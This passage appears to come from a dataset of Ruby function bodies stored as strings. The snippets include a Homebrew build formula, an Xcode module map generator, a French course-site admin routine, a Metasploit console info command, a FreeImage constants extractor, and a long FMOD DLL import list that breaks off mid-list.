_metis\")\n s.gsub!(/#\\s*METIS_HOME/, \"METIS_HOME\")\n s.change_make_var! \"METIS_HOME\", Formula[\"metis4\"].opt_prefix\n s.gsub! %r{#\\s*CCPASTIX\\s*:=\\s*\\$\\(CCPASTIX\\)\\s+-DMETIS\\s+-I\\$\\(METIS_HOME\\)/Lib},\n\"CCPASTIX := \\$(CCPASTIX) -DMETIS -I#{Formula[\"metis4\"].opt_include}\"\n s.gsub!(/#\\s*EXTRALIB\\s*:=\\s*\\$\\(EXTRALIB\\)\\s+-L\\$\\(METIS_HOME\\)\\s+-lmetis/,\n\"EXTRALIB := \\$\\(EXTRALIB\\) -L#{Formula[\"metis4\"].opt_lib} -lmetis\")\n end\n\n if build.with? \"openblas\"\n s.gsub! %r{#\\s*BLAS_HOME\\s*=\\s*/path/to/blas}, \"BLAS_HOME = #{Formula[\"openblas\"].opt_lib}\"\n s.change_make_var! \"BLASLIB\", \"-lopenblas\"\n end\n end\n system \"make\"\n system \"make\", \"install\"\n\n # Build examples against just installed libraries, so they continue to\n # work once the temporary directory is gone, e.g., for `brew test`.\n system \"make\", \"examples\", \"PASTIX_BIN=#{bin}\",\n \"PASTIX_LIB=#{lib}\",\n \"PASTIX_INC=#{include}\"\n system \"./example/bin/simple\", \"-lap\", \"100\"\n prefix.install \"config.in\" # For the record.\n pkgshare.install \"example\" # Contains all test programs.\n ohai \"Simple test result is in #{HOMEBREW_LOGS}/pastix. Please check.\"\n end\n end",
"def generate\n <<-MODULE_MAP.strip_heredoc\n#{module_specifier_prefix}module #{target.product_module_name}#{module_declaration_attributes} {\n #{headers.join(\"\\n \")}\n\n export *\n module * { export * }\n}\n MODULE_MAP\n end",
"def dev_minor() end",
"def exec_change_module\n site.require_objet 'abs_module'\n site.require_objet 'abs_etape'\n site.require_objet 'ic_module'\n site.require_objet 'ic_etape'\n # Pour définir toutes les valeurs courantes\n old_absmodule\n old_icmodule\n old_icetape\n\n # Vérifier que les valeurs soient bonnes\n right_values? || return\n if simulation\n @suivi << \"CETTE OPÉRATION EST UNE SIMPLE SIMULATION SANS EFFET.\"\n end\n @suivi << \"REQUÊTE DEMANDÉE :\"\n @suivi << \"Changement du module de l'icarien#{icarien.fille? ? 'ne' : ''} #{icarien.pseudo}\"\n @suivi << \"Passage du module ##{old_absmodule_id} (#{old_absmodule.titre})\"\n @suivi << \"À l'étape #{new_absetape.numero}, “#{new_absetape.titre}”\"\n @suivi << \"du module ##{new_absmodule.id} (#{new_absmodule.titre})\"\n @suivi << \"/REQUÊTE\"\n # On crée un nouvel icmodule pour l'icarien avec le\n # module choisi\n new_icmodule_for_icarien\n # Envoyer un mail à l'icarien concerné\n send_mail_to_icarien\n # Message d'actualité annonçant le changement de module\n # de l'icarien\n site.require_objet 'actualite'\n aid = SiteHtml::Actualite.create(\n user_id: icarien.id,\n message: \"<strong>#{icarien.pseudo}</strong> passe au module d'apprentissage “#{new_absmodule.titre}”.\"\n )\n @suivi << \"Nouvelle actualité ##{aid.inspect} créée avec succès pour #{icarien.pseudo}.\"\n\n # Si tout s'est bien passé jusqu'à présent, on peut\n # faire les suppression requises\n\n # Arrêter la dernière étape\n mess = \"Arrêt de l'ancienne étape #{old_icetape.id} (#{old_icetape.titre}) - son statut est mis à 7\"\n if simulation\n mess \"[Simulation] #{mess}\"\n else\n old_icetape.set(status: 7)\n end\n @suivi << mess\n\n # Supprimer les watchers concernant l'étape\n mess = \"Suppression des watcher de l'ancienne étape\"\n if simulation\n mess \"[Simulation]\"\n else\n wdata = {objet: 'ic_etape', objet_id: old_icetape.id}\n icarien.remove_watcher(wdata)\n end\n @suivi << mess\n\n # Stopper le précédent module\n # Dans tous les cas, le changement de module\n # correspond à l'arrêt du module précédent\n mess = \"Arrêt du module ##{old_icmodule.id} de #{icarien.pseudo}\"\n if simulation\n mess = \"[Simulation] #{mess}\"\n else\n old_icmodule.stop\n end\n @suivi << mess\n\n @suivi << \"=== OPÉRATION EXÉCUTÉE AVEC SUCCÈS ===\"\n end",
"def name\n return \"New Firmware\" if !id\n version + \" (\" + description.to_s + \") \" +\n \" (\" + (for_external ? \"internal\" : \"external\") + \")\"\n end",
"def funcify\n unless File.exists?('.projectProtoMap') and File.exists?('.projectFileMap')\n puts \"'.projectProtoMap' and/or '.projectFileMap' not found. Please run creatify first.\"\n exit(1)\n end\n\n File.open(\".projectProtoMap\", \"r\").each_line do\n |line|\n pMatch = line.match(/^(\\d+):(.*?)([^\\s^\\*]*)\\((.*)\\);$/)\n\n if pMatch\n puts \"Found prototype: #{line.chomp}\"\n project = pMatch[1]\n returnType = pMatch[2]\n funcName = pMatch[3]\n args = pMatch[4].scan(/(\\w+),|(\\w+)$/)\n args.length.times do\n |a|\n if args[a][0]\n args[a] = args[a][0]\n elsif args[a][1]\n args[a] = args[a][1]\n end\n end\n File.open(\".projectFileMap\", \"r\").each_line do\n |l2|\n fMatch = l2.match(/^(\\d+):\\s*(.*\\.c)$/)\n if fMatch && fMatch[1] == project\n puts \"Putting into file: #{l2.chomp}\"\n File.open(fMatch[2],\"w\") do\n |cfile|\n cfile.puts \"#include \\\"holberton.h\\\"\"\n cfile.puts\n cfile.puts \"/**\"\n cfile.puts \" * #{funcName} - function description\"\n args.each do\n |arg|\n cfile.puts \" * @#{arg}: parameter description\"\n end\n cfile.puts \" * Return: return description\" unless returnType == \"void \"\n cfile.puts \" */\"\n\n cfile.puts line.split(\":\")[-1].chomp.match(/([^;]*)/)[1]\n cfile.puts \"{\"\n cfile.puts \"\"\n cfile.puts \"}\"\n end\n end\n end\n puts \"\"\n end\n end\nend",
"def create_or_update_from_parsed_common_module(opts = {})\n update_module_refs\n\n retried = false\n # Component info must be loaded before service info because assemblies can have dependencies its own componnets\n begin\n create_or_update_component_info(opts)\n create_or_update_service_info(opts) unless retried\n rescue ModuleDSL::ParsingError::RefComponentTemplates => exception\n # if trying to delete components from component info that are deleted from assemblies but not processed\n # it will raise RefComponentTemplates; then we want to first process assemblies and retry component_defs processing\n raise exception if retried\n create_or_update_service_info(opts)\n retried = true\n retry\n end\n end",
"def cmd_info(*args)\n return unless msf_loaded?\n\n if args.length != 1 || args.include?('-h')\n cmd_info_help\n return\n end\n\n module_name = args.shift\n mod = client.framework.modules.create(module_name);\n\n if mod.nil?\n print_error 'Invalid module: ' << module_name\n end\n\n if mod\n print_line(::Msf::Serializer::ReadableText.dump_module(mod))\n mod_opt = ::Msf::Serializer::ReadableText.dump_options(mod, ' ')\n print_line(\"\\nModule options (#{mod.fullname}):\\n\\n#{mod_opt}\") if mod_opt && mod_opt.length > 0\n end\n end",
"def create_comp_gen\n MPC::IDLProject.new(:comp_gen, self)\n end",
"def expand_constants\n\n File.open(\"conftest.c\", \"w\") { |f| f.puts \"#include <FreeImage.h>\" }\n cpp = cpp_command('')\n system \"#{cpp} > confout\"\n\n constants = {}\n headers = []\n\n config = File.readlines(\"confout\")\n config.each do |include|\n next unless include.match(/\"(.*?FreeImage.h)\"/)\n filename = include.split('\"')[1]\n headers << filename\n end\n \n headers.uniq!\n\n # add typedef constants\n config.each do |define|\n next unless define.match(/^\\s*(\\w+)\\s*=\\s*\\d/) # typedef\n name = $1\n next unless name.match(/^(FIT|FICC|FIC|FIF|FILTER)_/)\n constants[$1] ||= []\n constants[$1] << [name]\n end\n\n if RUBY_VERSION >= \"1.9\"\n raw_headers = headers.collect { |i| File.read(i, :encoding => \"ISO-8859-1\") }.join\n else\n raw_headers = headers.collect { |i| File.read(i) }.join\n end\n \n # add #defined constants (load/save flags)\n constants['FLAG'] ||= []\n flag_defines = raw_headers.scan(/(flag constants\\s*---.*?)^\\/\\//m)\n flag_defines.each do |flag_data|\n flag_data[0].split(/\\n/).each do |define|\n next unless define.match(/^\\#define\\s*(\\w+)\\s(.*?(\\/\\/.+)$)?/) # #define\n constants['FLAG'] << [$1, $3]\n end\n end\n\n File.unlink(\"confout\")\n\n constants.keys.each { |i| constants[i].uniq! }\n\n File.open(\"image_science_ext.c\", \"w\") do |newf|\n File.foreach(\"image_science_ext.c.in\") do |l|\n if l.match(/\\/\\* expand FreeImage constants\\s+(\\w+)\\s+(\\w+)\\s*\\*\\//)\n klass_name = $1\n const_type = $2\n const_list = constants[const_type]\n unless const_list\n puts \"warning: no constants found matching #{const_type}\"\n next\n end\n const_list.each do |c, comment|\n if comment\n comment.sub!('//', '')\n comment.sub!(/[\\r\\n]+$/, '')\n comment.gsub!(/:/, '-') # colons break rdoc..\n comment.strip!\n newf.puts %Q{ /* #{comment} */}\n end\n newf.puts %Q{ rb_define_const(#{klass_name}, \"#{c}\", INT2FIX(#{c}));}\n end\n else\n newf.puts l\n end\n end\n end\n\nend",
"def new_fei (h)\n\n h[:engine_id] = OpenWFE::stu(get_engine.engine_name)\n\n %w{ url name revision }.each { |k| stu(h, k) }\n\n FlowExpressionId.new_fei(h)\n end",
"def run_prepare_ff(ruby_script, pocket_num)\n ifn = @work_dir + '_4.sdf'\n ofn = @work_dir + '_4.ff'\n\n ligands_sdf = File.join(@work_dir, @prt_id + '.ligands.sdf')\n ali = File.join(@work_dir, @prt_id + '.alignments.dat')\n pocket = File.join(@work_dir, @prt_id + '.pockets.dat')\n templates = File.join(@work_dir, @prt_id + '.templates.pdb')\n\n cmd = <<ff\nruby #{ruby_script} -l #{ifn} -i MOLID -o #{ofn} -s #{ligands_sdf} -a #{ali} -p #{pocket} -t #{templates} -n #{pocket_num}\nff\n\n puts \"\\nRunning\\t\\t#{cmd}\\n\"\n stdout_str, stderr_str, status = Open3.capture3(cmd)\n if status.success?\n puts \"write to\\t#{ofn}\\n\"\n else\n STDERR.puts \"Error running #{cmd}\\n\"\n exit 1\n end\n end",
"def loadLowDLL()\n # System\n @@lowDLL.import(\"System_AttachChannelGroupToPort\", \"lllpl\")\n @@lowDLL.import(\"System_AttachFileSystem\", \"lllll\")\n @@lowDLL.import(\"System_Close\", \"l\")\n @@lowDLL.import(\"System_Create\", \"p\")\n @@lowDLL.import(\"System_CreateChannelGroup\", \"llp\")\n @@lowDLL.import(\"System_CreateDSP\", \"llp\")\n @@lowDLL.import(\"System_CreateDSPByPlugin\", \"llp\")\n @@lowDLL.import(\"System_CreateDSPByType\", \"llp\")\n @@lowDLL.import(\"System_CreateGeometry\", \"lllp\")\n @@lowDLL.import(\"System_CreateReverb3D\", \"lp\")\n @@lowDLL.import(\"System_CreateSound\", \"llllp\")\n @@lowDLL.import(\"System_CreateSoundGroup\", \"llp\")\n @@lowDLL.import(\"System_CreateStream\", \"llllp\")\n @@lowDLL.import(\"System_DetachChannelGroupFromPort\", \"ll\")\n @@lowDLL.import(\"System_Get3DListenerAttributes\", \"llllll\")\n @@lowDLL.import(\"System_Get3DNumListeners\", \"ll\")\n @@lowDLL.import(\"System_Get3DSettings\", \"llll\")\n @@lowDLL.import(\"System_GetAdvancedSettings\", \"ll\")\n @@lowDLL.import(\"System_GetCPUUsage\", \"lllll\")\n @@lowDLL.import(\"System_GetChannel\", \"llp\")\n @@lowDLL.import(\"System_GetChannelsPlaying\", \"lll\")\n @@lowDLL.import(\"System_GetDSPBufferSize\", \"lll\")\n @@lowDLL.import(\"System_GetDSPInfoByPlugin\", \"llp\")\n @@lowDLL.import(\"System_GetDefaultMixMatrix\", \"lllll\")\n @@lowDLL.import(\"System_GetDriver\", \"ll\")\n @@lowDLL.import(\"System_GetDriverInfo\", \"llllllll\")\n @@lowDLL.import(\"System_GetFileUsage\", \"llll\")\n @@lowDLL.import(\"System_GetGeometryOcclusion\", \"lllll\")\n @@lowDLL.import(\"System_GetGeometrySettings\", \"ll\")\n @@lowDLL.import(\"System_GetMasterChannelGroup\", \"lp\")\n @@lowDLL.import(\"System_GetMasterSoundGroup\", \"lp\")\n @@lowDLL.import(\"System_GetNestedPlugin\", \"llll\")\n @@lowDLL.import(\"System_GetNetworkProxy\", \"lll\")\n @@lowDLL.import(\"System_GetNetworkTimeout\", \"ll\")\n @@lowDLL.import(\"System_GetNumDrivers\", \"ll\")\n @@lowDLL.import(\"System_GetNumNestedPlugins\", \"lll\")\n @@lowDLL.import(\"System_GetNumPlugins\", \"lll\")\n @@lowDLL.import(\"System_GetOutput\", \"ll\")\n @@lowDLL.import(\"System_GetOutputByPlugin\", \"ll\")\n @@lowDLL.import(\"System_GetOutputHandle\", \"lp\")\n @@lowDLL.import(\"System_GetPluginHandle\", \"llll\")\n @@lowDLL.import(\"System_GetPluginInfo\", \"llllll\")\n @@lowDLL.import(\"System_GetRecordDriverInfo\", \"lllllllll\")\n @@lowDLL.import(\"System_GetRecordNumDrivers\", \"lll\")\n @@lowDLL.import(\"System_GetRecordPosition\", \"lll\")\n @@lowDLL.import(\"System_GetReverbProperties\", \"lll\")\n @@lowDLL.import(\"System_GetSoftwareChannels\", \"ll\")\n @@lowDLL.import(\"System_GetSoftwareFormat\", \"llll\")\n @@lowDLL.import(\"System_GetSoundRAM\", \"llll\")\n @@lowDLL.import(\"System_GetSpeakerModeChannels\", \"lll\")\n @@lowDLL.import(\"System_GetSpeakerPosition\", \"lllll\")\n @@lowDLL.import(\"System_GetStreamBufferSize\", \"lll\")\n @@lowDLL.import(\"System_GetUserData\", \"lp\")\n @@lowDLL.import(\"System_GetVersion\", \"ll\")\n @@lowDLL.import(\"System_Init\", \"llll\")\n @@lowDLL.import(\"System_IsRecording\", \"lll\")\n @@lowDLL.import(\"System_LoadGeometry\", \"lllp\")\n @@lowDLL.import(\"System_LoadPlugin\", \"llll\")\n @@lowDLL.import(\"System_LockDSP\", \"l\")\n @@lowDLL.import(\"System_MixerResume\", \"l\")\n @@lowDLL.import(\"System_MixerSuspend\", \"l\")\n @@lowDLL.import(\"System_PlayDSP\", \"llllp\")\n @@lowDLL.import(\"System_PlaySound\", \"llllp\")\n @@lowDLL.import(\"System_RecordStart\", \"llll\")\n @@lowDLL.import(\"System_RecordStop\", \"ll\")\n @@lowDLL.import(\"System_RegisterCodec\", \"llll\")\n @@lowDLL.import(\"System_RegisterDSP\", \"lll\")\n @@lowDLL.import(\"System_RegisterOutput\", \"lll\")\n @@lowDLL.import(\"System_Release\", \"l\")\n @@lowDLL.import(\"System_Set3DListenerAttributes\", \"llllll\")\n @@lowDLL.import(\"System_Set3DNumListeners\", \"ll\")\n @@lowDLL.import(\"System_Set3DRolloffCallback\", \"ll\")\n @@lowDLL.import(\"System_Set3DSettings\", \"llll\")\n @@lowDLL.import(\"System_SetAdvancedSettings\", \"ll\")\n @@lowDLL.import(\"System_SetCallback\", \"lll\")\n @@lowDLL.import(\"System_SetDSPBufferSize\", \"lll\")\n @@lowDLL.import(\"System_SetDriver\", \"ll\")\n @@lowDLL.import(\"System_SetFileSystem\", \"llllllll\")\n @@lowDLL.import(\"System_SetGeometrySettings\", \"ll\")\n @@lowDLL.import(\"System_SetNetworkProxy\", \"ll\")\n @@lowDLL.import(\"System_SetNetworkTimeout\", \"ll\")\n @@lowDLL.import(\"System_SetOutput\", \"ll\")\n @@lowDLL.import(\"System_SetOutputByPlugin\", \"ll\")\n @@lowDLL.import(\"System_SetPluginPath\", \"ll\")\n @@lowDLL.import(\"System_SetReverbProperties\", \"lll\")\n @@lowDLL.import(\"System_SetSoftwareChannels\", \"ll\")\n @@lowDLL.import(\"System_SetSoftwareFormat\", \"llll\")\n @@lowDLL.import(\"System_SetSpeakerPosition\", \"lllll\")\n @@lowDLL.import(\"System_SetStreamBufferSize\", \"lll\")\n @@lowDLL.import(\"System_SetUserData\", \"ll\")\n @@lowDLL.import(\"System_UnloadPlugin\", \"ll\")\n @@lowDLL.import(\"System_UnlockDSP\", \"l\")\n @@lowDLL.import(\"System_Update\", \"l\")\n \n # Sound\n @@lowDLL.import(\"Sound_AddSyncPoint\", \"llllp\")\n @@lowDLL.import(\"Sound_DeleteSyncPoint\", \"ll\")\n @@lowDLL.import(\"Sound_Get3DConeSettings\", \"llll\")\n @@lowDLL.import(\"Sound_Get3DCustomRolloff\", \"lpl\")\n @@lowDLL.import(\"Sound_Get3DMinMaxDistance\", \"lll\")\n @@lowDLL.import(\"Sound_GetDefaults\", \"lll\")\n @@lowDLL.import(\"Sound_GetFormat\", \"lllll\")\n @@lowDLL.import(\"Sound_GetLength\", \"lll\")\n @@lowDLL.import(\"Sound_GetLoopCount\", \"ll\")\n @@lowDLL.import(\"Sound_GetLoopPoints\", \"lllll\")\n @@lowDLL.import(\"Sound_GetMode\", \"ll\")\n @@lowDLL.import(\"Sound_GetMusicChannelVolume\", \"lll\")\n @@lowDLL.import(\"Sound_GetMusicNumChannels\", \"ll\")\n @@lowDLL.import(\"Sound_GetMusicSpeed\", \"ll\")\n @@lowDLL.import(\"Sound_GetName\", \"lll\")\n @@lowDLL.import(\"Sound_GetNumSubSounds\", \"ll\")\n @@lowDLL.import(\"Sound_GetNumSyncPoints\", \"ll\")\n @@lowDLL.import(\"Sound_GetNumTags\", \"lll\")\n @@lowDLL.import(\"Sound_GetOpenState\", \"lllll\")\n @@lowDLL.import(\"Sound_GetSoundGroup\", \"lp\")\n @@lowDLL.import(\"Sound_GetSubSound\", \"llp\")\n @@lowDLL.import(\"Sound_GetSubSoundParent\", \"lp\")\n @@lowDLL.import(\"Sound_GetSyncPoint\", \"llp\")\n @@lowDLL.import(\"Sound_GetSyncPointInfo\", \"llllll\")\n @@lowDLL.import(\"Sound_GetSystemObject\", \"lp\")\n @@lowDLL.import(\"Sound_GetTag\", \"llll\")\n @@lowDLL.import(\"Sound_GetUserData\", \"lp\")\n @@lowDLL.import(\"Sound_Lock\", \"lllppll\")\n @@lowDLL.import(\"Sound_ReadData\", \"llll\")\n @@lowDLL.import(\"Sound_Release\", \"l\")\n @@lowDLL.import(\"Sound_SeekData\", \"ll\")\n @@lowDLL.import(\"Sound_Set3DConeSettings\", \"llll\")\n @@lowDLL.import(\"Sound_Set3DCustomRolloff\", \"lll\")\n @@lowDLL.import(\"Sound_Set3DMinMaxDistance\", \"lll\")\n @@lowDLL.import(\"Sound_SetDefaults\", \"lll\")\n @@lowDLL.import(\"Sound_SetLoopCount\", \"ll\")\n @@lowDLL.import(\"Sound_SetLoopPoints\", \"lllll\")\n @@lowDLL.import(\"Sound_SetMode\", \"ll\")\n @@lowDLL.import(\"Sound_SetMusicChannelVolume\", \"lll\")\n @@lowDLL.import(\"Sound_SetMusicSpeed\", \"ll\")\n @@lowDLL.import(\"Sound_SetSoundGroup\", \"ll\")\n @@lowDLL.import(\"Sound_SetUserData\", \"ll\")\n @@lowDLL.import(\"Sound_Unlock\", \"lllll\")\n \n # Channel\n @@lowDLL.import(\"Channel_AddDSP\", \"lll\")\n @@lowDLL.import(\"Channel_AddFadePoint\", \"lll\")\n @@lowDLL.import(\"Channel_Get3DAttributes\", \"llll\")\n @@lowDLL.import(\"Channel_Get3DConeOrientation\", \"ll\")\n @@lowDLL.import(\"Channel_Get3DConeSettings\", \"llll\")\n @@lowDLL.import(\"Channel_Get3DCustomRolloff\", \"lpl\")\n @@lowDLL.import(\"Channel_Get3DDistanceFilter\", \"llll\")\n @@lowDLL.import(\"Channel_Get3DDopplerLevel\", \"ll\")\n @@lowDLL.import(\"Channel_Get3DLevel\", \"ll\")\n @@lowDLL.import(\"Channel_Get3DMinMaxDistance\", \"lll\")\n @@lowDLL.import(\"Channel_Get3DOcclusion\", \"lll\")\n @@lowDLL.import(\"Channel_Get3DSpread\", \"ll\")\n @@lowDLL.import(\"Channel_GetAudibility\", \"ll\")\n @@lowDLL.import(\"Channel_GetChannelGroup\", \"lp\")\n @@lowDLL.import(\"Channel_GetCurrentSound\", \"lp\")\n @@lowDLL.import(\"Channel_GetDSP\", \"llp\")\n @@lowDLL.import(\"Channel_GetDSPClock\", \"lll\")\n @@lowDLL.import(\"Channel_GetDSPIndex\", \"lll\")\n @@lowDLL.import(\"Channel_GetDelay\", \"llll\")\n @@lowDLL.import(\"Channel_GetFadePoints\", \"llll\")\n @@lowDLL.import(\"Channel_GetFrequency\", \"ll\")\n @@lowDLL.import(\"Channel_GetIndex\", \"ll\")\n @@lowDLL.import(\"Channel_GetLoopCount\", \"ll\")\n @@lowDLL.import(\"Channel_GetLoopPoints\", \"lllll\")\n @@lowDLL.import(\"Channel_GetLowPassGain\", \"ll\")\n @@lowDLL.import(\"Channel_GetMixMatrix\", \"lllll\")\n @@lowDLL.import(\"Channel_GetMode\", \"ll\")\n @@lowDLL.import(\"Channel_GetMute\", \"ll\")\n @@lowDLL.import(\"Channel_GetNumDSPs\", \"ll\")\n @@lowDLL.import(\"Channel_GetPaused\", \"ll\")\n @@lowDLL.import(\"Channel_GetPitch\", \"ll\")\n @@lowDLL.import(\"Channel_GetPosition\", \"lll\")\n @@lowDLL.import(\"Channel_GetPriority\", \"ll\")\n @@lowDLL.import(\"Channel_GetReverbProperties\", \"lll\")\n @@lowDLL.import(\"Channel_GetSystemObject\", \"lp\")\n @@lowDLL.import(\"Channel_GetUserData\", \"lp\")\n @@lowDLL.import(\"Channel_GetVolume\", \"ll\")\n @@lowDLL.import(\"Channel_GetVolumeRamp\", \"ll\")\n @@lowDLL.import(\"Channel_IsPlaying\", \"ll\")\n @@lowDLL.import(\"Channel_IsVirtual\", \"ll\")\n @@lowDLL.import(\"Channel_RemoveDSP\", \"ll\")\n @@lowDLL.import(\"Channel_RemoveFadePoints\", \"lll\")\n @@lowDLL.import(\"Channel_Set3DAttributes\", \"llll\")\n @@lowDLL.import(\"Channel_Set3DConeOrientation\", \"ll\")\n @@lowDLL.import(\"Channel_Set3DConeSettings\", \"llll\")\n @@lowDLL.import(\"Channel_Set3DCustomRolloff\", \"lll\")\n @@lowDLL.import(\"Channel_Set3DDistanceFilter\", \"llll\")\n @@lowDLL.import(\"Channel_Set3DDopplerLevel\", \"ll\")\n @@lowDLL.import(\"Channel_Set3DLevel\", \"ll\")\n @@lowDLL.import(\"Channel_Set3DMinMaxDistance\", \"lll\")\n @@lowDLL.import(\"Channel_Set3DOcclusion\", \"lll\")\n @@lowDLL.import(\"Channel_Set3DSpread\", \"ll\")\n @@lowDLL.import(\"Channel_SetCallback\", \"ll\")\n @@lowDLL.import(\"Channel_SetChannelGroup\", \"ll\")\n @@lowDLL.import(\"Channel_SetDSPIndex\", \"lll\")\n @@lowDLL.import(\"Channel_SetDelay\", \"llll\")\n @@lowDLL.import(\"Channel_SetFadePointRamp\", \"lll\")\n @@lowDLL.import(\"Channel_SetFrequency\", \"ll\")\n @@lowDLL.import(\"Channel_SetLoopCount\", \"ll\")\n @@lowDLL.import(\"Channel_SetLoopPoints\", \"lllll\")\n @@lowDLL.import(\"Channel_SetLowPassGain\", \"ll\")\n @@lowDLL.import(\"Channel_SetMixLevelsInput\", \"lll\")\n @@lowDLL.import(\"Channel_SetMixLevelsOutput\", \"lllllllll\")\n @@lowDLL.import(\"Channel_SetMixMatrix\", \"lllll\")\n @@lowDLL.import(\"Channel_SetMode\", \"ll\")\n @@lowDLL.import(\"Channel_SetMute\", \"ll\")\n @@lowDLL.import(\"Channel_SetPan\", \"ll\")\n @@lowDLL.import(\"Channel_SetPaused\", \"ll\")\n @@lowDLL.import(\"Channel_SetPitch\", \"ll\")\n @@lowDLL.import(\"Channel_SetPosition\", \"lll\")\n @@lowDLL.import(\"Channel_SetPriority\", \"ll\")\n @@lowDLL.import(\"Channel_SetReverbProperties\", \"lll\")\n @@lowDLL.import(\"Channel_SetUserData\", \"ll\")\n @@lowDLL.import(\"Channel_SetVolume\", \"ll\")\n @@lowDLL.import(\"Channel_SetVolumeRamp\", \"ll\")\n @@lowDLL.import(\"Channel_Stop\", \"l\")\n \n # ChannelGroup\n @@lowDLL.import(\"ChannelGroup_AddDSP\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_AddFadePoint\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_AddGroup\", \"lllp\")\n @@lowDLL.import(\"ChannelGroup_Get3DAttributes\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_Get3DConeOrientation\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Get3DConeSettings\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_Get3DCustomRolloff\", \"lpl\")\n @@lowDLL.import(\"ChannelGroup_Get3DDistanceFilter\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_Get3DDopplerLevel\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Get3DLevel\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Get3DMinMaxDistance\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_Get3DOcclusion\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_Get3DSpread\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetAudibility\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetChannel\", \"llp\")\n @@lowDLL.import(\"ChannelGroup_GetDSP\", \"llp\")\n @@lowDLL.import(\"ChannelGroup_GetDSPClock\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_GetDSPIndex\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_GetDelay\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_GetFadePoints\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_GetGroup\", \"llp\")\n @@lowDLL.import(\"ChannelGroup_GetLowPassGain\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetMixMatrix\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_GetMode\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetMute\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetName\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_GetNumChannels\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetNumDSPs\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetNumGroups\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetParentGroup\", \"lp\")\n @@lowDLL.import(\"ChannelGroup_GetPaused\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetPitch\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetReverbProperties\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_GetSystemObject\", \"lp\")\n @@lowDLL.import(\"ChannelGroup_GetUserData\", \"lp\")\n @@lowDLL.import(\"ChannelGroup_GetVolume\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_GetVolumeRamp\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_IsPlaying\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Release\", \"l\")\n @@lowDLL.import(\"ChannelGroup_RemoveDSP\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_RemoveFadePoints\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_Set3DAttributes\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_Set3DConeOrientation\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Set3DConeSettings\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_Set3DCustomRolloff\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_Set3DDistanceFilter\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_Set3DDopplerLevel\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Set3DLevel\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Set3DMinMaxDistance\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_Set3DOcclusion\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_Set3DSpread\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetCallback\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetDSPIndex\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_SetDelay\", \"llll\")\n @@lowDLL.import(\"ChannelGroup_SetFadePointRamp\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_SetLowPassGain\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetMixLevelsInput\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_SetMixLevelsOutput\", \"lllllllll\")\n @@lowDLL.import(\"ChannelGroup_SetMixMatrix\", \"lllll\")\n @@lowDLL.import(\"ChannelGroup_SetMode\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetMute\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetPan\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetPaused\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetPitch\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetReverbProperties\", \"lll\")\n @@lowDLL.import(\"ChannelGroup_SetUserData\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetVolume\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_SetVolumeRamp\", \"ll\")\n @@lowDLL.import(\"ChannelGroup_Stop\", \"l\")\n \n # SoundGroup\n @@lowDLL.import(\"SoundGroup_GetMaxAudible\", \"ll\")\n @@lowDLL.import(\"SoundGroup_GetMaxAudibleBehavior\", \"ll\")\n @@lowDLL.import(\"SoundGroup_GetMuteFadeSpeed\", \"ll\")\n @@lowDLL.import(\"SoundGroup_GetName\", \"lll\")\n @@lowDLL.import(\"SoundGroup_GetNumPlaying\", \"ll\")\n @@lowDLL.import(\"SoundGroup_GetNumSounds\", \"ll\")\n @@lowDLL.import(\"SoundGroup_GetSound\", \"llp\")\n @@lowDLL.import(\"SoundGroup_GetSystemObject\", \"lp\")\n @@lowDLL.import(\"SoundGroup_GetUserData\", \"lp\")\n @@lowDLL.import(\"SoundGroup_GetVolume\", \"ll\")\n @@lowDLL.import(\"SoundGroup_Release\", \"l\")\n @@lowDLL.import(\"SoundGroup_SetMaxAudible\", \"ll\")\n @@lowDLL.import(\"SoundGroup_SetMaxAudibleBehavior\", \"ll\")\n @@lowDLL.import(\"SoundGroup_SetMuteFadeSpeed\", \"ll\")\n 